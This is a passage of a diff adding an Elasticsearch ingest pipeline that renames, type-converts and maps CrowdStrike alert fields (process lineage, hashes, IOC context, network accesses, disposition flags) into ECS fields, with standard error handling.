rename: + field: json.grandparent_details.md5 + tag: rename_grandparent_details_md5 + target_field: crowdstrike.alert.grandparent_details.md5 + ignore_missing: true + - append: + tag: append_related_hash_649c6a84 + field: related.hash + value: '{{{crowdstrike.alert.grandparent_details.md5}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.md5 != null + - rename: + field: json.grandparent_details.process_graph_id + tag: rename_grandparent_details_process_graph_id + target_field: crowdstrike.alert.grandparent_details.process_graph_id + ignore_missing: true + - rename: + field: json.grandparent_details.process_id + tag: rename_grandparent_details_process_id + target_field: crowdstrike.alert.grandparent_details.process_id + ignore_missing: true + - rename: + field: json.grandparent_details.sha256 + tag: rename_grandparent_details_sha256 + target_field: crowdstrike.alert.grandparent_details.sha256 + ignore_missing: true + - append: + tag: append_related_hash_a759b902 + field: related.hash + value: '{{{crowdstrike.alert.grandparent_details.sha256}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.sha256 != null + - date: + field: json.grandparent_details.timestamp + tag: date_grandparent_details_timestamp + target_field: crowdstrike.alert.grandparent_details.timestamp + formats: + - ISO8601 + if: ctx.json?.grandparent_details?.timestamp != null && ctx.json.grandparent_details.timestamp != '' + on_failure: + - append: + tag: append_error_message_f54f16cd + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.grandparent_details.user_graph_id + tag: rename_grandparent_details_user_graph_id + target_field: crowdstrike.alert.grandparent_details.user_graph_id + ignore_missing: true + - append: + field: related.user + tag: append_user_graph_id_into_related_user + value: '{{{crowdstrike.alert.grandparent_details.user_graph_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.user_graph_id != null + - rename: + field: json.grandparent_details.user_id + tag: rename_grandparent_details_user_id + target_field: crowdstrike.alert.grandparent_details.user_id + ignore_missing: true + - append: + field: related.user + tag: append_grandparent_details_user_id_into_related_user + value: '{{{crowdstrike.alert.grandparent_details.user_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.user_id != null + - rename: + field: json.grandparent_details.user_name + tag: rename_grandparent_details_user_name + target_field: crowdstrike.alert.grandparent_details.user_name + ignore_missing: true + - append: + field: related.user + tag: append_grandparent_details_user_name_into_related_user + value: '{{{crowdstrike.alert.grandparent_details.user_name}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.user_name != null + - convert: + field: json.has_script_or_module_ioc + tag: convert_has_script_or_module_ioc_to_boolean + target_field: crowdstrike.alert.has_script_or_module_ioc + type: boolean + if: ctx.json?.has_script_or_module_ioc != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_6b069dda + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.host_name + tag: rename_host_name + target_field: crowdstrike.alert.host_name + ignore_missing: true + - set: + field: host.name + tag: set_host_name_from_alert_host_name + copy_from: crowdstrike.alert.host_name + ignore_empty_value: true + - append: + tag: append_related_hosts_452ef445 + field: related.hosts + value: '{{{host.name}}}' + allow_duplicates: false + if: ctx.host?.name != null + - rename: + field: json.host_type + tag: rename_host_type + target_field: crowdstrike.alert.host_type + ignore_missing: true + - set: + field: host.type + tag: set_host_type_from_alert_host_type + copy_from: crowdstrike.alert.host_type + ignore_empty_value: true + - script: + tag: reconstruct_has_script_or_module_ioc_from_ioc_context + lang: painless + if: ctx.crowdstrike?.alert?.has_script_or_module_ioc == null && ctx.json?.ioc_context instanceof List + source: | + if (ctx.crowdstrike == null) { + ctx.crowdstrike = [:]; + } + if (ctx.crowdstrike.alert == null) { + ctx.crowdstrike.alert = [:]; + } + for (def c: ctx.json.ioc_context) { + if (c.type == 'module' || c.type == 'script') { + ctx.crowdstrike.alert.has_script_or_module_ioc = true; + return; + } + } + ctx.crowdstrike.alert.has_script_or_module_ioc = false; + - rename: + field: json.id + tag: rename_id + target_field: crowdstrike.alert.id + ignore_missing: true + - set: + field: event.id + tag: set_event_id_from_alert_id + copy_from: crowdstrike.alert.id + ignore_empty_value: true + - convert: + field: json.idp_policy_enforced_externally + tag: convert_idp_policy_enforced_externally_to_long + target_field: crowdstrike.alert.idp_policy.enforced_externally + type: long + if: ctx.json?.idp_policy_enforced_externally != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_e21c42b5 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_mfa_factor_type + tag: convert_idp_policy_mfa_factor_type_to_long + target_field: crowdstrike.alert.idp_policy.mfa_factor_type + type: long + if: ctx.json?.idp_policy_mfa_factor_type != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_922f1ac1 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_mfa_provider + tag: convert_idp_policy_mfa_provider_to_long + target_field: crowdstrike.alert.idp_policy.mfa_provider + type: long + if: ctx.json?.idp_policy_mfa_provider != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_c078ba79 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_rule_action + tag: convert_idp_policy_rule_action_to_long + target_field: crowdstrike.alert.idp_policy.rule_action + type: long + if: ctx.json?.idp_policy_rule_action != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_478ac271 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_rule_trigger + tag: convert_idp_policy_rule_trigger_to_long + target_field: crowdstrike.alert.idp_policy.rule_trigger + type: long + if: ctx.json?.idp_policy_rule_trigger != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_72eb86c9 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.idp_policy_rule_id + tag: rename_idp_policy_rule_id + target_field: crowdstrike.alert.idp_policy.rule_id + ignore_missing: true + - set: + field: rule.id + tag: set_rule_id_from_alert_idp_policy_rule_id + copy_from: crowdstrike.alert.idp_policy.rule_id + ignore_empty_value: true + - rename: + field: json.idp_policy_rule_name + tag: rename_idp_policy_rule_name + target_field: crowdstrike.alert.idp_policy.rule_name + ignore_missing: true + - set: + field: rule.name + tag: set_rule_name_from_alert_idp_policy_rule_name + copy_from: crowdstrike.alert.idp_policy.rule_name + ignore_empty_value: true + - rename: + field: json.image_file_name + tag: rename_image_file_name + target_field: crowdstrike.alert.image_file_name + ignore_missing: true + - set: + field: file.path + tag: set_file_path_from_alert_image_file_name + copy_from: crowdstrike.alert.image_file_name + ignore_empty_value: true + - date: + field: json.incident.created + tag: date_incident_created + target_field: crowdstrike.alert.incident.created + formats: + - yyyy-MM-dd'T'HH:mm:ss'Z' + if: ctx.json?.incident?.created != null && ctx.json.incident.created != '' + on_failure: + - append: + tag: append_error_message_1b08aaf8 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.incident.end + tag: date_incident_end + target_field: crowdstrike.alert.incident.end + formats: + - yyyy-MM-dd'T'HH:mm:ss'Z' + if: ctx.json?.incident?.end != null && ctx.json.incident.end != '' + on_failure: + - append: + tag: append_error_message_9682a107 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.incident.id + tag: rename_incident_id + target_field: crowdstrike.alert.incident.id + ignore_missing: true + - convert: + field: json.incident.score + tag: convert_incident_score_to_double + target_field: crowdstrike.alert.incident.score + type: double + if: ctx.json?.incident?.score != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_4fbe1f42 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.incident.start + tag: date_incident_start + target_field: crowdstrike.alert.incident.start + formats: + - yyyy-MM-dd'T'HH:mm:ss'Z' + if: ctx.json?.incident?.start != null && ctx.json.incident.start != '' + on_failure: + - append: + tag: append_error_message_8f19278c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + - rename: + field: json.indicator_id + tag: rename_indicator_id + target_field: crowdstrike.alert.indicator_id + ignore_missing: true + - rename: + field: json.ioc_context + tag: rename_ioc_context + target_field: crowdstrike.alert.ioc_context + ignore_missing: true + - foreach: + tag: foreach_crowdstrike_alert_ioc_context_3f9e797e + field: crowdstrike.alert.ioc_context + if: ctx.crowdstrike?.alert?.ioc_context instanceof List + ignore_failure: true + processor: + append: + field: related.hash + tag: append_ioc_context_md5_to_related_hash + value: '{{{_ingest._value.md5}}}' + allow_duplicates: false + - foreach: + tag: foreach_crowdstrike_alert_ioc_context_f5ad7768 + field: crowdstrike.alert.ioc_context + if: ctx.crowdstrike?.alert?.ioc_context instanceof List + ignore_failure: true + processor: + append: + field: related.hash + tag: append_ioc_context_sha256_to_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.ioc_description + tag: rename_ioc_description + target_field: crowdstrike.alert.ioc_description + ignore_missing: true + - rename: + field: json.ioc_source + tag: rename_ioc_source + target_field: crowdstrike.alert.ioc_source + ignore_missing: true + - rename: + field: json.ioc_type + tag: rename_ioc_type + target_field: crowdstrike.alert.ioc_type + ignore_missing: true + - rename: + field: json.ioc_value + tag: rename_ioc_value + target_field: crowdstrike.alert.ioc_value + ignore_missing: true + - rename: + field: json.ioc_values + tag: rename_ioc_values + target_field: crowdstrike.alert.ioc_values + ignore_missing: true + - append: + field: crowdstrike.alert.ioc_values + tag: append_ioc_value_to_ioc_values + value: '{{{crowdstrike.alert.ioc_value}}}' + if: ctx.crowdstrike?.alert?.ioc_value != null + allow_duplicates: false + - foreach: + tag: reconstruct_ioc_values_from_ioc_context + field: crowdstrike.alert.ioc_context + if: ctx.crowdstrike?.alert?.ioc_context instanceof List + ignore_failure: true + processor: + append: + field: crowdstrike.alert.ioc_values + tag: append_ioc_context_ioc_value_to_ioc_values + value: '{{{_ingest._value.ioc_value}}}' + allow_duplicates: false + - convert: + field: json.is_synthetic_quarantine_disposition + tag: convert_is_synthetic_quarantine_disposition_to_boolean + target_field: crowdstrike.alert.is_synthetic_quarantine_disposition + type: boolean + if: ctx.json?.is_synthetic_quarantine_disposition != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_0ae0c1e8 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + tag: reconstruct_is_synthetic_quarantine_disposition_from_pattern_disposition_details + lang: painless + if: ctx.crowdstrike?.alert?.is_synthetic_quarantine_disposition == null && ctx.json?.pattern_disposition_details instanceof Map + source: | + if (ctx.crowdstrike == null) { + ctx.crowdstrike = [:]; + } + if (ctx.crowdstrike.alert == null) { + ctx.crowdstrike.alert = [:]; + } + for (def d: ctx.json.pattern_disposition_details.entrySet()) { + if (d.getKey() == 'quarantine_file') { + ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = d.getValue(); + return; + } + } + ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = false; + - convert: + field: json.ldap_search_query_attack + tag: convert_ldap_search_query_attack_to_long + target_field: crowdstrike.alert.ldap_search_query_attack + type: long + if: ctx.json?.ldap_search_query_attack != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_6367d526 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.local_prevalence + tag: rename_local_prevalence + target_field: crowdstrike.alert.local_prevalence + ignore_missing: true + - rename: + field: json.local_process_id + tag: rename_local_process_id + target_field: crowdstrike.alert.local_process_id + ignore_missing: true + - rename: + field: json.location_country_code + tag: rename_location_country_code + target_field: crowdstrike.alert.location_country_code + ignore_missing: true + - set: + field: observer.geo.country_iso_code + tag: set_observer_geo_country_iso_code_from_alert_location_country_code + copy_from: crowdstrike.alert.location_country_code + ignore_empty_value: true + - convert: + field: json.location_latitude_as_int + tag: convert_location_latitude_as_int_to_long + target_field: crowdstrike.alert.location_latitude_as_int + type: long + if: ctx.json?.location_latitude_as_int != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_ce2b0cb6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.location_longitude_as_int + tag: convert_location_longitude_as_int_to_long + target_field: crowdstrike.alert.location_longitude_as_int + type: long + if: ctx.json?.location_longitude_as_int != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_6174bcc0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + description: combine latitude and longitude. + tag: script_to_combine_latitude_and_longitude + lang: painless + if: ctx.crowdstrike?.alert?.location_latitude_as_int != null && ctx.crowdstrike?.alert?.location_longitude_as_int != null + source: |- + def location = new HashMap(); + location.put('lat', ctx.crowdstrike.alert.location_latitude_as_int); + location.put('lon', ctx.crowdstrike.alert.location_longitude_as_int); + if(ctx.observer == null) { + ctx.put('observer', new HashMap()); + } + if(ctx.observer.geo == null){ + ctx.observer.put('geo', new HashMap()); + } + ctx.observer.geo.location = location; + - rename: + field: json.logon_domain + tag: rename_logon_domain + target_field: crowdstrike.alert.logon_domain + ignore_missing: true + - rename: + field: json.md5 + tag: rename_md5 + target_field: crowdstrike.alert.md5 + ignore_missing: true + - set: + field: process.hash.md5 + tag: set_process_hash_md5 + copy_from: crowdstrike.alert.md5 + ignore_empty_value: true + - append: + tag: append_related_hash_a08aaaeb + field: related.hash + value: '{{{crowdstrike.alert.md5}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.md5 != null + - rename: + field: json.model_anomaly_indicators + tag: rename_model_anomaly_indicators + target_field: crowdstrike.alert.model_anomaly_indicators + ignore_missing: true + - rename: + field: json.name + tag: rename_name + target_field: crowdstrike.alert.name + ignore_missing: true + - foreach: + tag: foreach_json_network_accesses_ff581076 + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + date: + field: _ingest._value.access_timestamp + tag: date_network_accesses_access_timestamp + target_field: _ingest._value.access_timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.access_timestamp + ignore_missing: true + - foreach: + tag: foreach_json_network_accesses_318ca723 + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.access_type + tag: convert_network_accesses_access_type_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.access_type + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + tag: foreach_json_network_accesses_1e51a8d3 + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.isIPV6 + tag: convert_network_accesses_isIPV6_to_boolean + type: boolean + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.isIPV6 + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + tag: foreach_json_network_accesses_1ede2c2a + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.local_address + tag: convert_network_accesses_local_address_to_ip + type: ip + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.local_address + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + tag: foreach_json_network_accesses_3fff7cf5 + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + append: + field: related.ip + tag: append_network_accesses_local_address_into_related_ip + value: '{{{_ingest._value.local_address}}}' + allow_duplicates: false + - foreach: + tag: foreach_json_network_accesses_7d5dd5fd + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.local_port + tag: convert_network_accesses_local_port_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.local_port + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + tag: foreach_json_network_accesses_4b460423 + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.remote_address + tag: convert_network_accesses_remote_address_to_ip + type: ip + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.remote_address + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + tag: foreach_json_network_accesses_5f45fe37 + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + append: + field: related.ip + tag: append_network_accesses_remote_address_into_related_ip + value: '{{{_ingest._value.remote_address}}}' + allow_duplicates: false + - foreach: + tag: foreach_json_network_accesses_7a97418a + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.remote_port + tag: convert_network_accesses_remote_port_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.remote_port + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.network_accesses + tag: rename_network_accesses + target_field: crowdstrike.alert.network_accesses + ignore_missing: true + - rename: + field: json.objective + tag: rename_objective + target_field: crowdstrike.alert.objective + ignore_missing: true + - rename: + field: json.operating_system + tag: rename_operating_system + target_field: crowdstrike.alert.operating_system + ignore_missing: true + - set: + field: host.os.name + tag: set_host_os_name_from_alert_operating_system + copy_from: crowdstrike.alert.operating_system + ignore_empty_value: true + - script: + description: Dynamically set host.os.type values. + tag: script_map_host_os_type + lang: painless + params: + os_type: + - linux + - macos + - unix + - windows + - ios + - android + source: | + if (ctx.crowdstrike?.alert?.device?.platform_name != null) { + String platform_name = ctx.crowdstrike.alert.device.platform_name.toLowerCase(); + for (String os: params.os_type) { + if (platform_name.contains(os)) { + ctx.host.os.put('type', os); + return; + } + } + } else if (ctx.crowdstrike?.alert?.operating_system != null) { + String operating_system = ctx.crowdstrike.alert.operating_system.toLowerCase(); + for (String os: params.os_type) { + if (operating_system.contains(os)) { + ctx.host.os.put('type', os); + return; + } + } + } + - rename: + field: json.os_name + tag: rename_os_name + target_field: crowdstrike.alert.os_name + ignore_missing: true + - set: + field: host.os.family + tag: set_host_os_family_from_alert_os_name + copy_from: crowdstrike.alert.os_name + ignore_empty_value: true + - rename: + field: json.parent_details.cmdline + tag: rename_parent_details_cmdline + target_field: crowdstrike.alert.parent_details.cmdline + ignore_missing: true + - set: + field: process.parent.command_line + tag: set_process_parent_command_line_from_alert_parent_details_cmdline + copy_from: crowdstrike.alert.parent_details.cmdline + ignore_empty_value: true + - rename: + field: json.parent_details.filename + tag: rename_parent_details_filename + target_field: crowdstrike.alert.parent_details.filename + ignore_missing: true + - set: + field: process.parent.name + tag: set_process_parent_name + copy_from: crowdstrike.alert.parent_details.filename + ignore_empty_value: true + - rename: + field: json.parent_details.filepath + tag: rename_parent_details_filepath + target_field: crowdstrike.alert.parent_details.filepath + ignore_missing: true + - set: + field: process.parent.executable + tag: set_process_parent_executable + copy_from: crowdstrike.alert.parent_details.filepath + ignore_empty_value: true + - rename: + field: json.parent_details.local_process_id + tag: rename_parent_details_local_process_id + target_field: crowdstrike.alert.parent_details.local_process_id + ignore_missing: true + - rename: + field: json.parent_details.md5 + tag: rename_parent_details_md5 + target_field: crowdstrike.alert.parent_details.md5 + ignore_missing: true + - append: + tag: append_related_hash_ed393c44 + field: related.hash + value: '{{{crowdstrike.alert.parent_details.md5}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.md5 != null + - set: + field: process.parent.hash.md5 + tag: set_process_parent_hash_md5_from_alert_parent_details_md5 + copy_from: crowdstrike.alert.parent_details.md5 + ignore_empty_value: true + - rename: + field: json.parent_details.process_graph_id + tag: rename_parent_details_process_graph_id + target_field: crowdstrike.alert.parent_details.process_graph_id + ignore_missing: true + - rename: + field: json.parent_details.process_id + tag: rename_parent_details_process_id + target_field: crowdstrike.alert.parent_details.process_id + ignore_missing: true + - rename: + field: json.parent_details.sha256 + tag: rename_parent_details_sha256 + target_field: crowdstrike.alert.parent_details.sha256 + ignore_missing: true + - set: + field: process.parent.hash.sha256 + tag: set_process_parent_hash_sha256_from_alert_parent_details_sha256 + copy_from: crowdstrike.alert.parent_details.sha256 + ignore_empty_value: true + - append: + tag: append_related_hash_94e1cdf8 + field: related.hash + value: '{{{crowdstrike.alert.parent_details.sha256}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.sha256 != null + - date: + field: json.parent_details.timestamp + tag: date_parent_details_timestamp + target_field: crowdstrike.alert.parent_details.timestamp + formats: + - ISO8601 + if: ctx.json?.parent_details?.timestamp != null && ctx.json.parent_details.timestamp != '' + on_failure: + - append: + tag: append_error_message_a27d7807 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.parent_details.user_graph_id + tag: rename_parent_details_user_graph_id + target_field: crowdstrike.alert.parent_details.user_graph_id + ignore_missing: true + - append: + field: related.user + tag: append_parent_details_user_graph_id_into_related_user + value: '{{{crowdstrike.alert.parent_details.user_graph_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.user_graph_id != null + - rename: + field: json.parent_details.user_id + tag: rename_parent_details_user_id + target_field: crowdstrike.alert.parent_details.user_id + ignore_missing: true + - set: + field: process.user.id + tag: set_process_user_id_from_alert_parent_details_user_id + copy_from: crowdstrike.alert.parent_details.user_id + ignore_empty_value: true + - rename: + field: json.parent_details.user_name + tag: rename_parent_details_user_name + target_field: crowdstrike.alert.parent_details.user_name + ignore_missing: true + - set: + field: process.user.name + tag: set_process_user_name_from_alert_parent_details_user_name + copy_from: crowdstrike.alert.parent_details.user_name + ignore_empty_value: true + - append: + field: related.user + tag: append_parent_details_user_id_into_related_user + value: '{{{crowdstrike.alert.parent_details.user_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.user_id != null + - append: + field: related.user + tag: append_parent_details_user_name_into_related_user + value: '{{{crowdstrike.alert.parent_details.user_name}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.user_name != null + - rename: + field: json.parent_process_id + tag: rename_parent_process_id + target_field: crowdstrike.alert.parent_process_id + ignore_missing: true + - set: + field: process.parent.entity_id + tag: set_process_parent_entity_id + copy_from: crowdstrike.alert.parent_process_id + ignore_empty_value: true + - convert: + field: crowdstrike.alert.parent_process_id + tag: convert_alert_parent_process_id + target_field: process.parent.pid + type: long + if: ctx.crowdstrike?.alert?.parent_process_id != '' + ignore_missing: true + on_failure: + - append: + tag: append_error_message_4d8b91ba + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition + tag: convert_pattern_disposition_to_long + target_field: crowdstrike.alert.pattern_disposition + type: long + if: ctx.json?.pattern_disposition != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_6d9249e4 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.pattern_disposition_description + tag: rename_pattern_disposition_description + target_field: crowdstrike.alert.pattern_disposition_description + ignore_missing: true + - convert: + field: json.pattern_disposition_details.blocking_unsupported_or_disabled + tag: convert_pattern_disposition_details_blocking_unsupported_or_disabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled + type: boolean + if: ctx.json?.pattern_disposition_details?.blocking_unsupported_or_disabled != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_6c758146 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.bootup_safeguard_enabled + tag: convert_pattern_disposition_details_bootup_safeguard_enabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled + type: boolean + if: ctx.json?.pattern_disposition_details?.bootup_safeguard_enabled != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_d1b98da6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.containment_file_system + tag: convert_pattern_disposition_details_containment_file_system_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.containment_file_system + type: boolean + if: ctx.json?.pattern_disposition_details?.containment_file_system != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_119c3892 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.critical_process_disabled + tag: convert_pattern_disposition_details_critical_process_disabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.critical_process_disabled + type: boolean + if: ctx.json?.pattern_disposition_details?.critical_process_disabled != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_6f96f132 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.detect + tag: convert_pattern_disposition_details_detect_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.detect + type: boolean + if: ctx.json?.pattern_disposition_details?.detect != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_7751ab8a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.fs_operation_blocked + tag: convert_pattern_disposition_details_fs_operation_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.fs_operation_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.fs_operation_blocked != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_61002fc2 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.handle_operation_downgraded + tag: convert_pattern_disposition_details_handle_operation_downgraded_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded + type: boolean + if: ctx.json?.pattern_disposition_details?.handle_operation_downgraded != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_a2ef9e8a + field: error.message + value: 'Processor 